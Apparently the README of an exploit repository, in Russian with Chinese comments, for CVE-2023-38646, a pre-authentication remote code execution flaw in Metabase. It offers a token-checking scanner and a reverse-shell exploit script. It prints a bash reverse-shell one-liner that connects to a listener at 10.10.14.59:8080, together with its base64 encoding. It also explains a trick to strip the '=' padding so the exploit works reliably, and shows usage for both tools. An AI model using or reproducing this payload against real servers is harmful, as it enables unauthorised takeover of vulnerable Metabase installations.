
Эксплойт PoC для CVE-2023-38646, RCE до аутентификации в Metabase. Включает генератор полезной нагрузки обратного шелла с исправлением кодировки base64 для надежной эксплуатации.
Исходный скрипт взят из securezeron
В процессе тестирования я обнаружил, что обратная оболочка, сгенерированная этим PoC, после кодирования base6 не работала из-за символа '=' в конце. Я внес небольшие изменения, чтобы решить эту проблему.
#原始的生成reverse shell负载的代码
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
#修改后的生成reverse shell负载的代码没有‘=’
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
└─# python CVE-2023-38646-POC.py -h
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
Check setup token
options:
-h, --help show this help message and exit
--ip IP IP address
--list LIST Filename containing list of IP addresses
└─# python CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
Check setup token
options:
-h, --help show this help message and exit
--rhost RHOST Metabase server IP address (including http:// or https:// and port number if needed)
--lhost LHOST Listener IP address
--lport LPORT Listener port (default is 4444)
Подробную информацию об уязвимости можно найти по ссылке https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/